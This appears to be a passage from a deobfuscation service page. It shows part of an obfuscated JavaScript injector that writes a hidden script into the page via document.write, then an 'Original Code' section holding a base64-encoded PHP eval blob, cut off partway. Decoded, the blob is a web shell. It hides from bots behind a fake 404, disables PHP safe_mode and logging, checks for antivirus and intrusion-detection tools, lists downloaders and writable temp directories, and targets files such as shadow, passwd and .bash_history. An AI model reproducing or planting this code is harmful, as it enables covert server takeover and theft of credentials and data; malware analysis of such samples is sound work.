fF7eSD8[21]="Cu0076%255Cu0";
fF7eSD8[22]="061%255Cu0073%25";
fF7eSD8[23]="5Cu0063%255Cu00";
fF7eSD8[24]="72%255Cu0069%25";
fF7eSD8[25]="5Cu0070%255Cu";
fF7eSD8[26]="0074%255Cu0022";
fF7eSD8[27]="%255Cu003e%255C";
fF7eSD8[28]="u0064%255Cu00";
fF7eSD8[29]="6f%255Cu0063%255C";
fF7eSD8[30]="u0075%255Cu006";
fF7eSD8[31]="d%255Cu0065%255Cu";
fF7eSD8[32]="006e%255Cu0074%255";
fF7eSD8[33]="Cu002e%255Cu00";
fF7eSD8[34]="77%255Cu0072%25";
fF7eSD8[35]="5Cu0069%255Cu";
fF7eSD8[36]="0074%255Cu0065%25";
fF7eSD8[37]="5Cu0028%255Cu002";
fF7eSD8[38]="7%255Cu005c%255Cu";
fF7eSD8[39]="0075%255Cu0030";
fF7eSD8[40]="%255Cu0030%255Cu0";
fF7eSD8[41]="033%255Cu0063%25";
fF7eSD8[42]="5Cu005c%255Cu007";
fF7eSD8[43]="5%255Cu0030%255Cu";
fF7eSD8[44]="0030%255Cu0035";
fF7eSD8[45]="%255Cu0033%255C";
fF7eSD8[46]="u005c%255Cu0075";
fF7eSD8[47]="%255Cu0030%255Cu";
fF7eSD8[48]="0030%255Cu003";
fF7eSD8[49]="4%255Cu0033%255";
fF7eSD8[50]="Cu005c%255Cu007";
fF7eSD8[51]="5%255Cu0030%255Cu";
fF7eSD8[52]="0030%255Cu0035%255";
fF7eSD8[53]="Cu0032%255Cu00";
fF7eSD8[54]="5c%255Cu0075%255C";
fF7eSD8[55]="u0030%255Cu0030%25";
fF7eSD8[56]="5Cu0034%255Cu00";
fF7eSD8[57]="39%255Cu005c%255Cu";
fF7eSD8[58]="0075%255Cu0030%255";
fF7eSD8[59]="Cu0030%255Cu003";
fF7eSD8[60]="5%255Cu0030%255C";
fF7eSD8[61]="u005c%255Cu0075";
fF7eSD8[62]="%255Cu0030%255Cu00";
fF7eSD8[63]="30%255Cu0035%255";
fF7eSD8[64]="Cu0034%255Cu005";
fF7eSD8[65]="c%255Cu0075%255C";
fF7eSD8[66]="u0030%255Cu0030%25";
fF7eSD8[67]="5Cu0032%255Cu";
fF7eSD8[68]="0030%255Cu005c%25";
fF7eSD8[69]="5Cu0075%255Cu00";
fF7eSD8[70]="30%255Cu0030%255";
fF7eSD8[71]="Cu0035%255Cu003";
fF7eSD8[72]="3%255Cu005c%255Cu0";
fF7eSD8[73]="075%255Cu0030";
fF7eSD8[74]="%255Cu0030%255Cu00";
fF7eSD8[75]="35%255Cu0032%25";
fF7eSD8[76]="5Cu005c%255Cu00";
fF7eSD8[77]="75%255Cu0030%255Cu";
fF7eSD8[78]="0030%255Cu003";
fF7eSD8[79]="4%255Cu0033%255Cu";
fF7eSD8[80]="005c%255Cu0075%25";
fF7eSD8[81]="5Cu0030%255Cu";
fF7eSD8[82]="0030%255Cu0033";
fF7eSD8[83]="%255Cu0064%255Cu0";
fF7eSD8[84]="05c%255Cu0075%25";
fF7eSD8[85]="5Cu0030%255Cu003";
fF7eSD8[86]="0%255Cu0036%255";
fF7eSD8[87]="Cu0038%255Cu0";
fF7eSD8[88]="05c%255Cu0075%255C";
fF7eSD8[89]="u0030%255Cu003";
fF7eSD8[90]="0%255Cu0037%255C";
fF7eSD8[91]="u0034%255Cu005c%25";
fF7eSD8[92]="5Cu0075%255Cu";
fF7eSD8[93]="0030%255Cu0030";
fF7eSD8[94]="%255Cu0037%255Cu";
fF7eSD8[95]="0034%255Cu005c%25";
fF7eSD8[96]="5Cu0075%255Cu00";
fF7eSD8[97]="30%255Cu0030%255Cu";
fF7eSD8[98]="0037%255Cu0030%255";
fF7eSD8[99]="Cu005c%255Cu00";
fF7eSD8[100]="75%255Cu0030%255";
fF7eSD8[101]="Cu0030%255Cu00";
fF7eSD8[102]="33%255Cu0061%255Cu";
fF7eSD8[103]="005c%255Cu0075";
fF7eSD8[104]="%255Cu0030%255C";
fF7eSD8[105]="u0030%255Cu0032%25";
fF7eSD8[106]="5Cu0066%255Cu00";
fF7eSD8[107]="5c%255Cu0075%255Cu";
fF7eSD8[108]="0030%255Cu0030%25";
fF7eSD8[109]="5Cu0032%255Cu0";
fF7eSD8[110]="066%255Cu005c";
fF7eSD8[111]="%255Cu0075%255Cu";
fF7eSD8[112]="0030%255Cu0030%25";
fF7eSD8[113]="5Cu0036%255Cu003";
fF7eSD8[114]="4%255Cu005c%255C";
fF7eSD8[115]="u0075%255Cu003";
fF7eSD8[116]="0%255Cu0030%255C";
fF7eSD8[117]="u0036%255Cu00";
fF7eSD8[118]="31%255Cu005c%255";
fF7eSD8[119]="Cu0075%255Cu00";
fF7eSD8[120]="30%255Cu0030%255Cu";
fF7eSD8[121]="0037%255Cu0034";
fF7eSD8[122]="%255Cu005c%255Cu00";
fF7eSD8[123]="75%255Cu0030%255C";
fF7eSD8[124]="u0030%255Cu003";
fF7eSD8[125]="6%255Cu0031%255";
fF7eSD8[126]="Cu005c%255Cu007";
fF7eSD8[127]="5%255Cu0030%255";
fF7eSD8[128]="Cu0030%255Cu0";
fF7eSD8[129]="032%255Cu0065";
fF7eSD8[130]="%255Cu005c%255C";
fF7eSD8[131]="u0075%255Cu0030%25";
fF7eSD8[132]="5Cu0030%255Cu003";
fF7eSD8[133]="7%255Cu0034%255Cu0";
fF7eSD8[134]="05c%255Cu0075%255C";
fF7eSD8[135]="u0030%255Cu00";
fF7eSD8[136]="30%255Cu0033%255C";
fF7eSD8[137]="u0030%255Cu005";
fF7eSD8[138]="c%255Cu0075%255Cu";
fF7eSD8[139]="0030%255Cu003";
fF7eSD8[140]="0%255Cu0033%255C";
fF7eSD8[141]="u0030%255Cu005";
fF7eSD8[142]="c%255Cu0075%255";
fF7eSD8[143]="Cu0030%255Cu0";
fF7eSD8[144]="030%255Cu0036%255C";
fF7eSD8[145]="u0063%255Cu005c";
fF7eSD8[146]="%255Cu0075%255C";
fF7eSD8[147]="u0030%255Cu00";
fF7eSD8[148]="30%255Cu0037%25";
fF7eSD8[149]="5Cu0033%255Cu00";
fF7eSD8[150]="5c%255Cu0075%255";
fF7eSD8[151]="Cu0030%255Cu00";
fF7eSD8[152]="30%255Cu0032%255";
fF7eSD8[153]="Cu0065%255Cu005c";
fF7eSD8[154]="%255Cu0075%255C";
fF7eSD8[155]="u0030%255Cu00";
fF7eSD8[156]="30%255Cu0036%255Cu";
fF7eSD8[157]="0066%255Cu005c%255";
fF7eSD8[158]="Cu0075%255Cu00";
fF7eSD8[159]="30%255Cu0030%255Cu";
fF7eSD8[160]="0037%255Cu0032%25";
fF7eSD8[161]="5Cu005c%255Cu007";
fF7eSD8[162]="5%255Cu0030%255C";
fF7eSD8[163]="u0030%255Cu0036%25";
fF7eSD8[164]="5Cu0037%255Cu00";
fF7eSD8[165]="5c%255Cu0075%255";
fF7eSD8[166]="Cu0030%255Cu0030";
fF7eSD8[167]="%255Cu0032%255Cu00";
fF7eSD8[168]="66%255Cu005c%255";
fF7eSD8[169]="Cu0075%255Cu0";
fF7eSD8[170]="030%255Cu0030%255C";
fF7eSD8[171]="u0037%255Cu0037";
fF7eSD8[172]="%255Cu005c%255Cu";
fF7eSD8[173]="0075%255Cu0030%25";
fF7eSD8[174]="5Cu0030%255Cu";
fF7eSD8[175]="0036%255Cu0038%255";
fF7eSD8[176]="Cu005c%255Cu007";
fF7eSD8[177]="5%255Cu0030%255";
fF7eSD8[178]="Cu0030%255Cu0036";
fF7eSD8[179]="%255Cu0035%255Cu00";
fF7eSD8[180]="5c%255Cu0075%255Cu";
fF7eSD8[181]="0030%255Cu003";
fF7eSD8[182]="0%255Cu0037%255C";
fF7eSD8[183]="u0032%255Cu00";
fF7eSD8[184]="5c%255Cu0075%255";
fF7eSD8[185]="Cu0030%255Cu0";
fF7eSD8[186]="030%255Cu0036%25";
fF7eSD8[187]="5Cu0035%255Cu0";
fF7eSD8[188]="05c%255Cu0075";
fF7eSD8[189]="%255Cu0030%255Cu0";
fF7eSD8[190]="030%255Cu0032";
fF7eSD8[191]="%255Cu0065%255Cu";
fF7eSD8[192]="005c%255Cu0075";
fF7eSD8[193]="%255Cu0030%255Cu00";
fF7eSD8[194]="30%255Cu0036%25";
fF7eSD8[195]="5Cu0061%255Cu";
fF7eSD8[196]="005c%255Cu007";
fF7eSD8[197]="5%255Cu0030%255";
fF7eSD8[198]="Cu0030%255Cu0037";
fF7eSD8[199]="%255Cu0033%255Cu0";
fF7eSD8[200]="05c%255Cu0075%255C";
fF7eSD8[201]="u0030%255Cu00";
fF7eSD8[202]="30%255Cu0033%255Cu";
fF7eSD8[203]="0065%255Cu005";
fF7eSD8[204]="c%255Cu0075%255Cu";
fF7eSD8[205]="0030%255Cu0030%25";
fF7eSD8[206]="5Cu0033%255Cu00";
fF7eSD8[207]="63%255Cu005c%255C";
fF7eSD8[208]="u0075%255Cu0030";
fF7eSD8[209]="%255Cu0030%255Cu0";
fF7eSD8[210]="032%255Cu0066%255";
fF7eSD8[211]="Cu005c%255Cu0";
fF7eSD8[212]="075%255Cu0030%25";
fF7eSD8[213]="5Cu0030%255Cu";
fF7eSD8[214]="0035%255Cu0033%255";
fF7eSD8[215]="Cu005c%255Cu007";
fF7eSD8[216]="5%255Cu0030%255Cu0";
fF7eSD8[217]="030%255Cu0034%255";
fF7eSD8[218]="Cu0033%255Cu00";
fF7eSD8[219]="5c%255Cu0075%25";
fF7eSD8[220]="5Cu0030%255Cu0";
fF7eSD8[221]="030%255Cu0035";
fF7eSD8[222]="%255Cu0032%255Cu0";
fF7eSD8[223]="05c%255Cu0075";
fF7eSD8[224]="%255Cu0030%255Cu";
fF7eSD8[225]="0030%255Cu0034%25";
fF7eSD8[226]="5Cu0039%255Cu0";
fF7eSD8[227]="05c%255Cu0075%25";
fF7eSD8[228]="5Cu0030%255Cu";
fF7eSD8[229]="0030%255Cu0035%25";
fF7eSD8[230]="5Cu0030%255Cu";
fF7eSD8[231]="005c%255Cu0075%255";
fF7eSD8[232]="Cu0030%255Cu0";
fF7eSD8[233]="030%255Cu0035";
fF7eSD8[234]="%255Cu0034%255Cu0";
fF7eSD8[235]="05c%255Cu0075";
fF7eSD8[236]="%255Cu0030%255Cu";
fF7eSD8[237]="0030%255Cu0033%255";
fF7eSD8[238]="Cu0065%255Cu0";
fF7eSD8[239]="027%255Cu0029";
fF7eSD8[240]="%255Cu003c%255C";
fF7eSD8[241]="u002f%255Cu0073%25";
fF7eSD8[242]="5Cu0063%255Cu007";
fF7eSD8[243]="2%255Cu0069%255Cu";
fF7eSD8[244]="0070%255Cu007";
fF7eSD8[245]="4%255Cu003e%2527%25";
fF7eSD8[246]="29%253C/script%25";
fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
fF7eSD8[248]="pt%3E";
for (i = 0; i < fF7eSD8.length; i ++)
{
    document.write(unescape(fF7eSD8[i]))
}
// -->
</script>

Did this file decode correctly?

Original Code

<? 
eval(base64_decode('aWYocHJlZ19tYXRjaCgiL2JvdC8iLCAkX1NFUlZFUltIVFRQX1VTRVJfQUdFTlRdKSkge2hlYWRlcigiSFRUUC8xLjAgNDA0Iik7ZXhpdCgiPGgxPk5vdCBGb3VuZDwvaDE+Iik7fQoKJGxhbmd1YWdlPSdlbmcnOwoKJGF1dGggPSAwOwoKJG5hbWU9Jyc7IAokcGFzcz0nJzsKCi8vcnVfUlUsIC8vcnVfUlUuY3AxMjUxLCAvL3J1X1JVLmlzbzg4NTk1LCAvL3J1X1JVLmtvaThyLCAvL3J1X1JVLnV0ZjgKQHNldGxvY2FsZShMQ19BTEwsJ3J1X1JVLmNwMTI1MScpOwoKQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsKQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTsKQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOwoKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQogewogQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CiBAaW5pX3NldCgnZmlsZV91cGxvYWRzJywxKTsKIEBpbmlfc2V0KCdhbGxvd191cmxfZm9wZW4nLDEpOwogfQplbHNlCiB7CiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOwogQGluaV9hbHRlcignbG9nX2Vycm9ycycsMCk7CiBAaW5pX2FsdGVyKCdmaWxlX3VwbG9hZHMnLDEpOwogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsKIH0KIAplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKLyogPz8/ID8/Pz8/ICovCiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOwokZGFuZ2VyID0gYXJyYXkoJywga2F2JywnLCBub2QzMicsJywgYmRjb3JlZCcsJywgdXZzY2FuJywnLCBzYXYnLCcsIGRyd2ViZCcsJywgY2xhbWQnLCcsIHJraHVudGVyJywnLCBjaGtyb290a2l0JywnLCBpcHRhYmxlcycsJywgaXBmdycsJywgdHJpcHdpcmUnLCcsIHNoaWVsZGNjJywnLCBwb3J0c2VudHJ5JywnLCBzbm9ydCcsJywgb3NzZWMnLCcsIGxpZHNhZG0nLCcsIHRjcGxvZGcnLCcsIHN4aWQnLCcsIGxvZ2NoZWNrJywnLCBsb2d3YXRjaCcsJywgc3lzbWFzaycsJywgem1ic2NhcCcsJywgc2F3bWlsbCcsJywgd29ybXNjYW4nLCcsIG5pbmphJyk7CiR0ZW1wZGlycyA9IGFycmF5KEBpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpLicvJyxAaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKS4nLycsJy90bXAvJywnL2Rldi9zaG0vJywnL3Zhci90bXAvJyk7CiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7CgovKiA/Pz8gPz8/Pz8/ID8/Pz8/Pz8/ID8/Pz8gPz8/Pz8gcmVhbHBhdGgoKSAqLwovLyRjaGFyc19ybHBoID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IAovLyRjaGFyc19ybHBoID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXoiOyAKLy8kY2hhcnNfcmxwaCA9ICJfLS5BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IAovLyRjaGFyc19ybHBoID0gIl8tLmFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6IjsgCi8vJGNoYXJzX3JscGggPSAiXy0uMDEyMzQ1Njc4OTAiOyAKJGNoYXJzX3JscGggPSAiYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXoiOyAKCiRwcmVzZXRzX3JscGggPSBhcnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywKJ3NoYWRvdycsJ3Bhc3N3ZCcsJy5iYXNoX2hpc3RvcnknLCcubXlzcWxfaGlzdG9yeScsJ21hc3Rlci5wYXNzd2QnLCd1c2VyJywnYWRtaW4nLCdwYXNzd29yZCcsJ2FkbWluaXN0cmF0b3InLCdwaHBNeUFkbWluJywnc2VjdXJpdHknLCdwaHAuaW5pJywnY2Ryb20nLCdyb290JywKJ215LmNuZicsJ3B1cmVmdHBkLmNvbmYnLCdwcm9mdHBkLmNvbmYnLCdmdHBkLmNvbmYnLCdyZXNvbHYuY29uZicsJ2xvZ2luLmNvbmYnLCdzbWIuY29uZicsJ3N5c2N0bC5jb25mJywnc3lzbG9nLmNvbmYnLCdhY2Nlc3MuY29uZicsJ2FjY291bnRpbmcubG9nJywnaG9tZScsJ2h0ZG9jcycsCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7CgovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKZGVmaW5lKCJzdGFydHRpbWUiLEBnZXRtaWNyb3RpbWUoKSk7CgppZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSE9TlVMTCkgfHwgKEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSE9TlVMTCkpeyRvcGVuX2Jhc2VkaXI9MTt9IGVsc2V7JG9wZW5fYmFzZWRpcj0wO307CgpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQogewogQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CiB9CmVsc2UKIHsKIEBpbmlfYWx0ZXIoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiBAaW5pX2FsdGVyKCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKIH0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKI2lmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSl7JHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTt9ZWxzZXskc2FmZV9tb2RlPTE7fTsKJHZlcnNpb24gPSAnMS40Mic7CmlmKEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpCiB7CiAkX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7CiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsKICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOwogJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7CiB9CmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKIHsKIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpCiAgewogICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOwogIH0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikKICB7CiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsKICB9IAogfQoKaWYoJGF1dGggPT0gMSkgewppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykKICAgewogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSJIRUxMTyEiJyk7CiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICBleGl0KCI8aDE+QWNjZXNzIERlbmllZDwvaDE+Iik7CiAgIH0KfSAgIAoKaWYoIWlzc2V0KCRfQ09PS0lFWyd0ZW1wZGlyJ10sJF9DT09LSUVbJ3NlbGVjdF90ZW1wZGlyJ10pKSB7CgkkdGVtcGRpcj0nLi8nOwoJJHNlbGVjdF90ZW1wZGlyID0gJzxzZWxlY3QgbmFtZT10ZW1wZGlyPjxvcHRpb24gdmFsdWU9Ii4vIj4uLzwvb3B0aW9uPic7Cglmb3JlYWNoKCAkdGVtcGRpcnMgYXMgJGl0ZW0pIHsKCQlpZihAaXNfd3JpdGFibGUoJGl0ZW0pKXskc2VsZWN0X3RlbXBkaXIgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyI+Jy4kaXRlbS4nPC9vcHRpb24+JzskdGVtcGRpcj0kaXRlbTt9Cgl9Cgkkc2VsZWN0X3RlbXBkaXIgLj0gJzwvc2VsZWN0Pic7CglzZXRjb29raWUoJ3RlbXBkaXInLCR0ZW1wZGlyKTsKCXNldGNvb2tpZSgnc2VsZWN0X3RlbXBkaXInLCRzZWxlY3RfdGVtcGRpcik7Cn1lbHNlewoJaWYoaXNzZXQoJF9QT1NUWyd0ZW1wZGlyJ10pKXskdGVtcGRpciA9ICRfUE9TVFsndGVtcGRpciddO31lbHNleyR0ZW1wZGlyID0gJF9DT09LSUVbJ3RlbXBkaXInXTt9Cgkkc2VsZWN0X3RlbXBkaXIgPSAkX0NPT0tJRVsnc2VsZWN0X3RlbXBkaXInXTsKfQoKJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPHRpdGxlPk5vdCBGb3VuZDwvdGl0bGU+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+Cgo8U1RZTEU+CnRyIHsKQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNlZWVlZWUgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7CmNvbG9yOiAjMDAwMDAwOwp9CnRkIHsKQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNlZWVlZWUgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7CmNvbG9yOiAjMDAwMDAwOwp9Ci50YWJsZTEgewpCT1JERVI6IDBweDsKQkFDS0dST1VORC1DT0xPUjogI0Q0RDBDODsKY29sb3I6ICMwMDAwMDA7Cn0KLnRkMSB7CkJPUkRFUjogMHB4Owpmb250OiA3cHQgVmVyZGFuYTsKY29sb3I6ICMwMDAwMDA7Cn0KLnRyMSB7CkJPUkRFUjogMHB4Owpjb2xvcjogIzAwMDAwMDsKfQp0YWJsZSB7CkJPUkRFUjogICNlZWVlZWUgMXB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogI0Q0RDBDODsKY29sb3I6ICMwMDAwMDA7Cn0KaW5wdXQgewpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiAjMDAwMDAwOwp9CnNlbGVjdCB7CkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Owpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6ICMwMDAwMDA7Owp9CnN1Ym1pdCB7CkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Owp3aWR0aDogMzAlOwpjb2xvcjogIzAwMDAwMDsKfQp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Owpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogIzAwMDAwMDsKfQpCT0RZIHsKbWFyZ2luOiAxcHg7CmNvbG9yOiAjMDAwMDAwOwpiYWNrZ3JvdW5kLWNvbG9yOiAjZTRlMGQ4Owp9CkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9CkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9CkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQo8L1NUWUxFPgo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPgpmdW5jdGlvbiBoaWRlX2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7Cn0KZnVuY3Rpb24gc2hvd19kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsKfQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpCnsKICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpCiAgICBzaG93X2RpdihpZCk7CiAgZWxzZQogICAgaGlkZV9kaXYoaWQpOwp9CgoKPC9zY3JpcHQ+JzsKY2xhc3MgemlwZmlsZQp7CiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7CiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7CiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7CiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7CiAgICBmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CiAgICAgICAgfSAKICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7CiAgICB9IAogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkKICAgIHsKICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsKICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOwogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10KICAgICAgICAgICAgICAg